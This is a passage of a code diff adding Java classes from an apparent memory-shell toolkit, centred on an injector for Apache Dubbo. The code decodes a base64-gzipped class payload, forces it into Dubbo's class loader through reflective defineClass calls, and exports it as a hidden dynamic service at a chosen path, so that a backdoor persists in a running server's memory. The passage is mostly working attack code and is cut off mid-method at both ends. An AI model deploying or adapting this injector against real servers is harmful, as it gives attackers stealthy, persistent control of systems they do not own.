: String.format("%s://%s/%s", protocolName, DISPLAY_HOST, path);
|
||||||
|
}
|
||||||
|
|
||||||
|
private List<ProviderModel> providerModels() {
|
||||||
|
try {
|
||||||
|
return ApplicationModel.allProviderModels();
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
return new ArrayList<ProviderModel>();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void addProtocols(List<ProtocolConfig> target, List<ProtocolConfig> source) {
|
||||||
|
if (source != null) {
|
||||||
|
target.addAll(source);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private List<ProtocolConfig> uniqueProtocols(List<ProtocolConfig> protocols) {
|
||||||
|
Map<String, ProtocolConfig> unique = new LinkedHashMap<String, ProtocolConfig>();
|
||||||
|
if (protocols != null) {
|
||||||
|
for (ProtocolConfig protocol : protocols) {
|
||||||
|
if (protocol != null) {
|
||||||
|
unique.put(protocolKey(protocol), protocol);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return new ArrayList<ProtocolConfig>(unique.values());
|
||||||
|
}
|
||||||
|
|
||||||
|
private List<RegistryConfig> registries(List<RegistryConfig> registries) {
|
||||||
|
return registries == null ? new ArrayList<RegistryConfig>() : new ArrayList<RegistryConfig>(registries);
|
||||||
|
}
|
||||||
|
|
||||||
|
private String protocolKey(ProtocolConfig protocol) {
|
||||||
|
return String.valueOf(protocol.getName())
|
||||||
|
+ "|"
|
||||||
|
+ String.valueOf(protocol.getHost())
|
||||||
|
+ "|"
|
||||||
|
+ String.valueOf(protocol.getPort())
|
||||||
|
+ "|"
|
||||||
|
+ String.valueOf(protocol.getServer())
|
||||||
|
+ "|"
|
||||||
|
+ String.valueOf(protocol.getId());
|
||||||
|
}
|
||||||
|
|
||||||
|
private String normalizePath(String path) {
|
||||||
|
if (path == null) {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
String normalized = path.trim();
|
||||||
|
while (normalized.startsWith("/")) {
|
||||||
|
normalized = normalized.substring(1);
|
||||||
|
}
|
||||||
|
return normalized;
|
||||||
|
}
|
||||||
|
|
||||||
|
private boolean notEmpty(String value) {
|
||||||
|
return value != null && !value.isEmpty();
|
||||||
|
}
|
||||||
|
|
||||||
|
private String stackTrace(Throwable throwable) {
|
||||||
|
StringWriter writer = new StringWriter();
|
||||||
|
throwable.printStackTrace(new PrintWriter(writer));
|
||||||
|
return writer.toString();
|
||||||
|
}
|
||||||
|
}
|
||||||
+616
@@ -0,0 +1,616 @@
|
|||||||
|
package com.reajason.javaweb.memshell.injector.dubbo;
|
||||||
|
|
||||||
|
import javassist.ClassPool;
|
||||||
|
import org.apache.dubbo.common.bytecode.ClassGenerator;
|
||||||
|
import org.apache.dubbo.config.*;
|
||||||
|
import org.apache.dubbo.rpc.model.ApplicationModel;
|
||||||
|
|
||||||
|
import java.io.*;
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.lang.reflect.Modifier;
|
||||||
|
import java.security.ProtectionDomain;
|
||||||
|
import java.util.*;
|
||||||
|
import java.util.concurrent.ConcurrentHashMap;
|
||||||
|
import java.util.stream.Collectors;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
public class ApacheDubboServiceInjector {
|
||||||
|
private final Map<String, ServiceConfig<?>> DYNAMIC_SERVICES = new ConcurrentHashMap<>();
|
||||||
|
private static final String DISPLAY_HOST = "x.x.x.x";
|
||||||
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
|
public String getUrlPattern() {
|
||||||
|
return "{{urlPattern}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getHelperBase64String() {
|
||||||
|
return "{{helperBase64String}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public ApacheDubboServiceInjector() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
msg += registerService();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "unexcepted error: " + getErrorMessage(e);
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
private Class<?> loadClass(String payload) throws Exception {
|
||||||
|
ClassLoader classLoader = resolveDubboClassLoader();
|
||||||
|
byte[] classBytes = gzipDecompress(decodeBase64(payload));
|
||||||
|
definePackageIfNeeded(classLoader, getClassName());
|
||||||
|
Class<?> loadedClass = defineClass(classLoader, classBytes);
|
||||||
|
registerInJavassistClassPool(classLoader, loadedClass.getName(), classBytes);
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return loadedClass;
|
||||||
|
}
|
||||||
|
|
||||||
|
private ClassLoader resolveDubboClassLoader() {
|
||||||
|
ClassLoader classLoader = invokeDubboClassLoader("org.apache.dubbo.common.utils.ClassHelper");
|
||||||
|
if (classLoader != null) {
|
||||||
|
return classLoader;
|
||||||
|
}
|
||||||
|
classLoader = invokeDubboClassLoader("org.apache.dubbo.common.utils.ClassUtils");
|
||||||
|
if (classLoader != null) {
|
||||||
|
return classLoader;
|
||||||
|
}
|
||||||
|
classLoader = ClassGenerator.class.getClassLoader();
|
||||||
|
return classLoader != null ? classLoader : Thread.currentThread().getContextClassLoader();
|
||||||
|
}
|
||||||
|
|
||||||
|
private ClassLoader invokeDubboClassLoader(String className) {
|
||||||
|
try {
|
||||||
|
Class<?> helperClass = Class.forName(className);
|
||||||
|
return (ClassLoader) helperClass.getMethod("getClassLoader", Class.class).invoke(null, ClassGenerator.class);
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private Class<?> defineClass(ClassLoader classLoader, byte[] classBytes) throws Exception {
|
||||||
|
ProtectionDomain protectionDomain = ClassGenerator.class.getProtectionDomain();
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod(
|
||||||
|
"defineClass",
|
||||||
|
String.class,
|
||||||
|
byte[].class,
|
||||||
|
int.class,
|
||||||
|
int.class,
|
||||||
|
ProtectionDomain.class
|
||||||
|
);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
return (Class<?>) defineClass.invoke(classLoader, null, classBytes, 0, classBytes.length, protectionDomain);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void definePackageIfNeeded(ClassLoader classLoader, String className) {
|
||||||
|
int packageEnd = className.lastIndexOf('.');
|
||||||
|
if (packageEnd < 0) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
String packageName = className.substring(0, packageEnd);
|
||||||
|
try {
|
||||||
|
Method getPackage = ClassLoader.class.getDeclaredMethod("getPackage", String.class);
|
||||||
|
getPackage.setAccessible(true);
|
||||||
|
if (getPackage.invoke(classLoader, packageName) != null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Method definePackage = ClassLoader.class.getDeclaredMethod(
|
||||||
|
"definePackage",
|
||||||
|
String.class,
|
||||||
|
String.class,
|
||||||
|
String.class,
|
||||||
|
String.class,
|
||||||
|
String.class,
|
||||||
|
String.class,
|
||||||
|
String.class,
|
||||||
|
java.net.URL.class
|
||||||
|
);
|
||||||
|
definePackage.setAccessible(true);
|
||||||
|
definePackage.invoke(classLoader, packageName, null, null, null, null, null, null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void registerInJavassistClassPool(ClassLoader classLoader, String className, byte[] classBytes) {
|
||||||
|
try {
|
||||||
|
ClassPool classPool = ClassGenerator.getClassPool(classLoader);
|
||||||
|
try {
|
||||||
|
classPool.getClass().getMethod("makeClassIfNew", InputStream.class).invoke(classPool, new ByteArrayInputStream(classBytes));
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
classPool.getClass().getMethod("makeClass", InputStream.class).invoke(classPool, new ByteArrayInputStream(classBytes));
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
insertByteArrayClassPath(className, classLoader, classBytes);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void insertByteArrayClassPath(String className, ClassLoader classLoader, byte[] classBytes) {
|
||||||
|
try {
|
||||||
|
Class<?> classPoolClass = Class.forName("javassist.ClassPool");
|
||||||
|
Class<?> classPathClass = Class.forName("javassist.ClassPath");
|
||||||
|
Class<?> byteArrayClassPathClass = Class.forName("javassist.ByteArrayClassPath");
|
||||||
|
insertClassPath(classPoolClass.getMethod("getDefault").invoke(null), classPoolClass, classPathClass, byteArrayClassPathClass, className, classBytes);
|
||||||
|
insertClassPath(ClassGenerator.getClassPool(classLoader), classPoolClass, classPathClass, byteArrayClassPathClass, className, classBytes);
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void insertClassPath(Object classPool, Class<?> classPoolClass, Class<?> classPathClass, Class<?> byteArrayClassPathClass, String className, byte[] classBytes) throws Exception {
|
||||||
|
if (classPoolClass.getMethod("find", String.class).invoke(classPool, className) == null) {
|
||||||
|
classPoolClass.getMethod("insertClassPath", classPathClass).invoke(classPool, byteArrayClassPathClass.getConstructor(String.class, byte[].class).newInstance(className, classBytes));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] decodeBase64(String str) throws Exception {
|
||||||
|
return Base64.getDecoder().decode(str);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] gzipDecompress(byte[] bArr) throws IOException {
|
||||||
|
try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gZIPInputStream = new GZIPInputStream(new ByteArrayInputStream(bArr))) {
|
||||||
|
byte[] bArr2 = new byte[4096];
|
||||||
|
int i;
|
||||||
|
while ((i = gZIPInputStream.read(bArr2)) > 0) {
|
||||||
|
byteArrayOutputStream.write(bArr2, 0, i);
|
||||||
|
}
|
||||||
|
return byteArrayOutputStream.toByteArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public String registerService() throws Exception {
|
||||||
|
String strNormalizePath = normalizePath(getUrlPattern());
|
||||||
|
if (strNormalizePath.isEmpty()) {
|
||||||
|
throw new IllegalArgumentException("path must not be empty");
|
||||||
|
}
|
||||||
|
if (!DYNAMIC_SERVICES.containsKey(strNormalizePath) && !isPathRegisteredInFramework(strNormalizePath)) {
|
||||||
|
Class<?> shell = loadClass(getHelperBase64String());
|
||||||
|
Class<?> shell2 = loadClass(getBase64String());
|
||||||
|
validateServiceTypes(shell, shell2);
|
||||||
|
ServiceConfig<?> serviceConfigCreateServiceConfig = createServiceConfig(strNormalizePath, shell, instantiate(shell2));
|
||||||
|
if (DYNAMIC_SERVICES.putIfAbsent(strNormalizePath, serviceConfigCreateServiceConfig) != null) {
|
||||||
|
return resolveServiceAddresses(strNormalizePath);
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
serviceConfigCreateServiceConfig.export();
|
||||||
|
return resolveServiceAddresses(strNormalizePath);
|
||||||
|
} catch (RuntimeException e) {
|
||||||
|
DYNAMIC_SERVICES.remove(strNormalizePath, serviceConfigCreateServiceConfig);
|
||||||
|
throw e;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return resolveServiceAddresses(strNormalizePath);
|
||||||
|
}
|
||||||
|
|
||||||
|
private boolean isPathRegisteredInFramework(String str) {
|
||||||
|
try {
|
||||||
|
for (Object obj : getRegisteredServices()) {
|
||||||
|
if (str.equals(obj.getClass().getMethod("getPath").invoke(obj))) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
} catch (Exception e) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private Collection<?> getRegisteredServices() {
|
||||||
|
try {
|
||||||
|
Object configManager = resolveConfigManager();
|
||||||
|
return toList(invokeNoArgs(configManager, "getServices"));
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
Object objInvoke = ApplicationModel.class.getMethod("defaultModel").invoke(null);
|
||||||
|
Object objInvoke2 = objInvoke.getClass().getMethod("getDefaultModule").invoke(objInvoke);
|
||||||
|
Object objInvoke3 = objInvoke2.getClass().getMethod("getConfigManager").invoke(objInvoke2);
|
||||||
|
return toList(invokeNoArgs(objInvoke3, "getServices"));
|
||||||
|
} catch (Exception e2) {
|
||||||
|
return new ArrayList<>();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private String normalizePath(String str) {
|
||||||
|
if (str == null) {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
String strTrim = str.trim();
|
||||||
|
while (true) {
|
||||||
|
String str2 = strTrim;
|
||||||
|
if (!str2.startsWith("/")) {
|
||||||
|
return str2;
|
||||||
|
}
|
||||||
|
strTrim = str2.substring(1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void validateServiceTypes(Class<?> cls, Class<?> cls2) {
|
||||||
|
if (!cls.isInterface()) {
|
||||||
|
throw new IllegalArgumentException("not an interface: " + cls.getName());
|
||||||
|
}
|
||||||
|
if (cls2.isInterface() || Modifier.isAbstract(cls2.getModifiers())) {
|
||||||
|
throw new IllegalArgumentException("implementation class is not instantiable: " + cls2.getName());
|
||||||
|
}
|
||||||
|
if (!cls.isAssignableFrom(cls2)) {
|
||||||
|
throw new IllegalArgumentException(cls2.getName() + " does not implement " + cls.getName());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object instantiate(Class<?> cls) {
|
||||||
|
try {
|
||||||
|
Constructor<?> declaredConstructor = cls.getDeclaredConstructor();
|
||||||
|
declaredConstructor.setAccessible(true);
|
||||||
|
return declaredConstructor.newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new IllegalArgumentException("failed to instantiate " + cls.getName(), e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private ServiceConfig<Object> createServiceConfig(String str, Class<?> cls, Object obj) {
|
||||||
|
Object configManager = resolveConfigManager();
|
||||||
|
ProviderConfig providerConfigResolveDefaultProvider = resolveDefaultProvider(configManager);
|
||||||
|
ProviderConfig providerConfigSanitizeProviderConfig = sanitizeProviderConfig(providerConfigResolveDefaultProvider);
|
||||||
|
ServiceConfig<Object> serviceConfig = new ServiceConfig<>();
|
||||||
|
serviceConfig.setInterface(cls);
|
||||||
|
serviceConfig.setRef(obj);
|
||||||
|
serviceConfig.setPath(str);
|
||||||
|
serviceConfig.setProxy("jdk");
|
||||||
|
if (providerConfigSanitizeProviderConfig != null) {
|
||||||
|
serviceConfig.setProvider(providerConfigSanitizeProviderConfig);
|
||||||
|
}
|
||||||
|
ApplicationConfig applicationConfig = castApplicationConfig(extractOptionalValue(invokeNoArgs(configManager, "getApplication")));
|
||||||
|
if (applicationConfig != null) {
|
||||||
|
serviceConfig.setApplication(applicationConfig);
|
||||||
|
}
|
||||||
|
String strResolveConfiguredVersion = resolveConfiguredVersion(providerConfigResolveDefaultProvider);
|
||||||
|
if (strResolveConfiguredVersion != null) {
|
||||||
|
serviceConfig.setVersion(strResolveConfiguredVersion);
|
||||||
|
}
|
||||||
|
serviceConfig.setProtocols(resolveConfiguredProtocols(providerConfigResolveDefaultProvider, configManager));
|
||||||
|
serviceConfig.setRegistries(resolveRegistriesForExport(castRegistries(toList(invokeNoArgs(configManager, "getDefaultRegistries"))), castRegistries(toList(invokeNoArgs(configManager, "getRegistries")))));
|
||||||
|
return serviceConfig;
|
||||||
|
}
|
||||||
|
|
||||||
|
private ProviderConfig resolveDefaultProvider(Object obj) {
|
||||||
|
ProviderConfig providerConfigCastProviderConfig = castProviderConfig(extractOptionalValue(invokeNoArgs(obj, "getDefaultProvider")));
|
||||||
|
if (providerConfigCastProviderConfig != null) {
|
||||||
|
return providerConfigCastProviderConfig;
|
||||||
|
}
|
||||||
|
Object objInvokeNoArgs = invokeNoArgs(obj, "getDefaultModule");
|
||||||
|
if (objInvokeNoArgs == null) {
|
||||||
|
objInvokeNoArgs = invokeNoArgs(invokeStaticNoArgs(ApplicationModel.class, "defaultModel"), "getDefaultModule");
|
||||||
|
}
|
||||||
|
Object objInvokeNoArgs2 = invokeNoArgs(objInvokeNoArgs, "getConfigManager");
|
||||||
|
ProviderConfig providerConfigCastProviderConfig2 = castProviderConfig(extractOptionalValue(invokeNoArgs(objInvokeNoArgs2, "getDefaultProvider")));
|
||||||
|
return providerConfigCastProviderConfig2 != null ? providerConfigCastProviderConfig2 : castProviderConfig(firstElement(toList(invokeNoArgs(objInvokeNoArgs2, "getProviders"))));
|
||||||
|
}
|
||||||
|
|
||||||
|
private ProviderConfig sanitizeProviderConfig(ProviderConfig providerConfig) {
|
||||||
|
if (providerConfig == null) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
List registries = providerConfig.getRegistries();
|
||||||
|
if (registries == null || filterValidRegistries(registries).size() == registries.size()) {
|
||||||
|
return providerConfig;
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private List<RegistryConfig> filterValidRegistries(Collection<RegistryConfig> collection) {
|
||||||
|
if (collection == null) {
|
||||||
|
return new ArrayList<>();
|
||||||
|
}
|
||||||
|
return collection.stream()
|
||||||
|
.filter(registryConfig -> registryConfig != null && registryConfig.isValid())
|
||||||
|
.collect(Collectors.toList());
|
||||||
|
}
|
||||||
|
|
||||||
|
private List<RegistryConfig> resolveRegistriesForExport(Collection<RegistryConfig> collection, Collection<RegistryConfig> collection2) {
|
||||||
|
List<RegistryConfig> listFilterValidRegistries = filterValidRegistries(collection);
|
||||||
|
if (!listFilterValidRegistries.isEmpty()) {
|
||||||
|
return listFilterValidRegistries;
|
||||||
|
}
|
||||||
|
List<RegistryConfig> listFilterValidRegistries2 = filterValidRegistries(collection2);
|
||||||
|
return !listFilterValidRegistries2.isEmpty() ? listFilterValidRegistries2 : Collections.singletonList(new RegistryConfig("N/A"));
|
||||||
|
}
|
||||||
|
|
||||||
|
private String resolveConfiguredVersion(Object obj) {
|
||||||
|
return stringValue(invokeNoArgs(obj, "getVersion"), null);
|
||||||
|
}
|
||||||
|
|
||||||
|
private List<ProtocolConfig> resolveConfiguredProtocols(ProviderConfig providerConfig, Object configManager) {
|
||||||
|
return resolveConfiguredProtocols(providerConfig, configManager, getRegisteredServices());
|
||||||
|
}
|
||||||
|
|
||||||
|
private List<ProtocolConfig> resolveConfiguredProtocols(ProviderConfig providerConfig, Object configManager, Collection<?> collection) {
|
||||||
|
return mergeProtocols(mergeProtocols(mergeProtocols(providerConfig == null ? null : providerConfig.getProtocols(), castProtocols(toList(invokeNoArgs(configManager, "getDefaultProtocols")))), castProtocols(toList(invokeNoArgs(configManager, "getProtocols")))), collectProtocolsFromServices(collection));
|
||||||
|
}
|
||||||
|
|
||||||
|
private List<ProtocolConfig> collectProtocolsFromServices(Collection<?> collection) {
|
||||||
|
List<ProtocolConfig> arrayList = new ArrayList<>();
|
||||||
|
if (collection != null) {
|
||||||
|
try {
|
||||||
|
for (Object service : collection) {
|
||||||
|
try {
|
||||||
|
arrayList.addAll(castProtocols(toList(invokeNoArgs(service, "getProtocols"))));
|
||||||
|
} catch (Exception e) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception e2) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
for (Object exportedProvider : getExportedProviders()) {
|
||||||
|
try {
|
||||||
|
Object objInvokeNoArgs = invokeNoArgs(exportedProvider, "getServiceConfig");
|
||||||
|
if (objInvokeNoArgs != null) {
|
||||||
|
arrayList.addAll(castProtocols(toList(invokeNoArgs(objInvokeNoArgs, "getProtocols"))));
|
||||||
|
}
|
||||||
|
} catch (Exception e3) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception e4) {
|
||||||
|
}
|
||||||
|
return arrayList;
|
||||||
|
}
|
||||||
|
|
||||||
|
private Collection<?> getExportedProviders() {
|
||||||
|
try {
|
||||||
|
Object objInvoke = ApplicationModel.class.getMethod("getServiceRepository").invoke(null);
|
||||||
|
return (Collection) objInvoke.getClass().getMethod("getExportedServices").invoke(objInvoke);
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
Object objInvoke2 = ApplicationModel.class.getMethod("defaultModel").invoke(null);
|
||||||
|
Object objInvoke3 = objInvoke2.getClass().getMethod("getDefaultModule").invoke(objInvoke2);
|
||||||
|
Object objInvoke4 = objInvoke3.getClass().getMethod("getServiceRepository").invoke(objInvoke3);
|
||||||
|
return (Collection) objInvoke4.getClass().getMethod("getExportedServices").invoke(objInvoke4);
|
||||||
|
} catch (Exception e2) {
|
||||||
|
return new ArrayList<>();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private String resolveServiceAddresses(String str) {
|
||||||
|
String strNormalizePath = normalizePath(str);
|
||||||
|
Object objFindRegisteredService = DYNAMIC_SERVICES.get(strNormalizePath);
|
||||||
|
if (objFindRegisteredService == null) {
|
||||||
|
objFindRegisteredService = findRegisteredService(strNormalizePath);
|
||||||
|
}
|
||||||
|
if (objFindRegisteredService == null) {
|
||||||
|
return strNormalizePath;
|
||||||
|
}
|
||||||
|
List<?> listExtractExportedUrls = extractExportedUrls(objFindRegisteredService);
|
||||||
|
if (!listExtractExportedUrls.isEmpty()) {
|
||||||
|
return formatUrls(listExtractExportedUrls);
|
||||||
|
}
|
||||||
|
List<?> listResolveProtocols = resolveProtocols(objFindRegisteredService);
|
||||||
|
if (listResolveProtocols.isEmpty()) {
|
||||||
|
return strNormalizePath;
|
||||||
|
}
|
||||||
|
return formatProtocolAddresses(listResolveProtocols, strNormalizePath);
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object findRegisteredService(String str) {
|
||||||
|
for (Object obj : getRegisteredServices()) {
|
||||||
|
if (str.equals(normalizePath(stringValue(invokeNoArgs(obj, "getPath"), "")))) {
|
||||||
|
return obj;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private List<?> extractExportedUrls(Object obj) {
|
||||||
|
List<?> list = toList(invokeNoArgs(obj, "getExportedUrls"));
|
||||||
|
if (!list.isEmpty()) {
|
||||||
|
return list;
|
||||||
|
}
|
||||||
|
List<?> list2 = toList(getFieldValue(obj, "exporters"));
|
||||||
|
if (list2.isEmpty()) {
|
||||||
|
return new ArrayList<>();
|
||||||
|
}
|
||||||
|
List<Object> arrayList = new ArrayList<>();
|
||||||
|
for (Object exporter : list2) {
|
||||||
|
Object objInvokeNoArgs = invokeNoArgs(invokeNoArgs(exporter, "getInvoker"), "getUrl");
|
||||||
|
if (objInvokeNoArgs != null) {
|
||||||
|
arrayList.add(objInvokeNoArgs);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return arrayList;
|
||||||
|
}
|
||||||
|
|
||||||
|
private List<?> resolveProtocols(Object obj) {
|
||||||
|
List<?> list = toList(invokeNoArgs(obj, "getProtocols"));
|
||||||
|
Object objInvokeNoArgs = invokeNoArgs(obj, "getProvider");
|
||||||
|
List<ProtocolConfig> listResolveConfiguredProtocols = resolveConfiguredProtocols(objInvokeNoArgs instanceof ProviderConfig ? (ProviderConfig) objInvokeNoArgs : null, resolveConfigManager());
|
||||||
|
return list.isEmpty() ? listResolveConfiguredProtocols : mergeProtocols(castProtocols(list), listResolveConfiguredProtocols);
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object invokeNoArgs(Object obj, String str) {
|
||||||
|
if (obj == null) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
return obj.getClass().getMethod(str).invoke(obj);
|
||||||
|
} catch (Exception e) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object invokeStaticNoArgs(Class<?> cls, String str) {
|
||||||
|
try {
|
||||||
|
return cls.getMethod(str).invoke(null);
|
||||||
|
} catch (Exception e) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getFieldValue(Object obj, String str) {
|
||||||
|
if (obj == null) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
Class<?> superclass = obj.getClass();
|
||||||
|
while (true) {
|
||||||
|
Class<?> cls = superclass;
|
||||||
|
if (cls == null) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
Field declaredField = cls.getDeclaredField(str);
|
||||||
|
declaredField.setAccessible(true);
|
||||||
|
return declaredField.get(obj);
|
||||||
|
} catch (Exception e) {
|
||||||
|
superclass = cls.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private List<?> toList(Object obj) {
|
||||||
|
Object value = extractOptionalValue(obj);
|
||||||
|
if (value instanceof Collection) {
|
||||||
|
return new ArrayList<>((Collection<?>) value);
|
||||||
|
}
|
||||||
|
if (value instanceof Map) {
|
||||||
|
return new ArrayList<>(((Map<?, ?>) value).values());
|
||||||
|
}
|
||||||
|
return new ArrayList<>();
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object extractOptionalValue(Object obj) {
|
||||||
|
if (obj instanceof Optional) {
|
||||||
|
return ((Optional<?>) obj).orElse(null);
|
||||||
|
}
|
||||||
|
return obj;
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object firstElement(List<?> list) {
|
||||||
|
if (list.isEmpty()) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
return list.get(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
private ProviderConfig castProviderConfig(Object obj) {
|
||||||
|
if (obj instanceof ProviderConfig) {
|
||||||
|
return (ProviderConfig) obj;
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private ApplicationConfig castApplicationConfig(Object obj) {
|
||||||
|
if (obj instanceof ApplicationConfig) {
|
||||||
|
return (ApplicationConfig) obj;
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private List<RegistryConfig> castRegistries(List<?> list) {
|
||||||
|
return list.stream()
|
||||||
|
.filter(RegistryConfig.class::isInstance)
|
||||||
|
.map(RegistryConfig.class::cast)
|
||||||
|
.collect(Collectors.toList());
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object resolveConfigManager() {
|
||||||
|
Object objInvokeStaticNoArgs = invokeStaticNoArgs(ApplicationModel.class, "getConfigManager");
|
||||||
|
if (objInvokeStaticNoArgs != null) {
|
||||||
|
return objInvokeStaticNoArgs;
|
||||||
|
}
|
||||||
|
Object objInvokeStaticNoArgs2 = invokeStaticNoArgs(ApplicationModel.class, "defaultModel");
|
||||||
|
Object objInvokeNoArgs = invokeNoArgs(objInvokeStaticNoArgs2, "getDefaultModule");
|
||||||
|
return invokeNoArgs(objInvokeNoArgs, "getConfigManager");
|
||||||
|
}
|
||||||
|
|
||||||
|
private String formatUrls(List<?> list) {
|
||||||
|
return list.stream()
|
||||||
|
.map(this::formatUrl)
|
||||||
|
.collect(Collectors.joining(", "));
|
||||||
|
}
|
||||||
|
|
||||||
|
private String formatProtocolAddresses(List<?> list, String str) {
|
||||||
|
return list.stream()
|
||||||
|
.map(obj -> formatProtocolAddress(obj, str))
|
||||||
|
.collect(Collectors.joining(", "));
|
||||||
|
}
|
||||||
|
|
||||||
|
private String formatUrl(Object obj) {
|
||||||
|
String strStringValue = stringValue(invokeNoArgs(obj, "getProtocol"), "dubbo");
|
||||||
|
String strNormalizePath = normalizePath(stringValue(invokeNoArgs(obj, "getPath"), ""));
|
||||||
|
Integer numIntegerValue = integerValue(invokeNoArgs(obj, "getPort"));
|
||||||
|
return (numIntegerValue == null || numIntegerValue.intValue() <= 0) ? String.format("%s://%s/%s", strStringValue, DISPLAY_HOST, strNormalizePath) : String.format("%s://%s:%d/%s", strStringValue, DISPLAY_HOST, numIntegerValue, strNormalizePath);
|
||||||
|
}
|
||||||
|
|
||||||
|
private String formatProtocolAddress(Object obj, String str) {
|
||||||
|
String strStringValue = stringValue(invokeNoArgs(obj, "getName"), "dubbo");
|
||||||
|
Integer numIntegerValue = integerValue(invokeNoArgs(obj, "getPort"));
|
||||||
|
return (numIntegerValue == null || numIntegerValue.intValue() <= 0) ? String.format("%s://%s/%s", strStringValue, DISPLAY_HOST, str) : String.format("%s://%s:%d/%s", strStringValue, DISPLAY_HOST, numIntegerValue, str);
|
||||||
|
}
|
||||||
|
|
||||||
|
private String stringValue(Object obj, String str) {
|
||||||
|
return (!(obj instanceof String) || ((String) obj).isEmpty()) ? str : (String) obj;
|
||||||
|
}
|
||||||
|
|
||||||
|
private Integer integerValue(Object obj) {
|
||||||
|
if (obj instanceof Number) {
|
||||||
|
return Integer.valueOf(((Number) obj).intValue());
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private List<ProtocolConfig> castProtocols(List<?> list) {
|
||||||
|
return list.stream()
|
||||||
|
.filter(ProtocolConfig.class::isInstance)
|
||||||
|
.map(ProtocolConfig.class::cast)
|
||||||
|
.collect(Collectors.toList());
|
||||||
|
}
|
||||||
|
|
||||||
|
private List<ProtocolConfig> mergeProtocols(Collection<ProtocolConfig> collection, Collection<ProtocolConfig> collection2) {
|
||||||
|
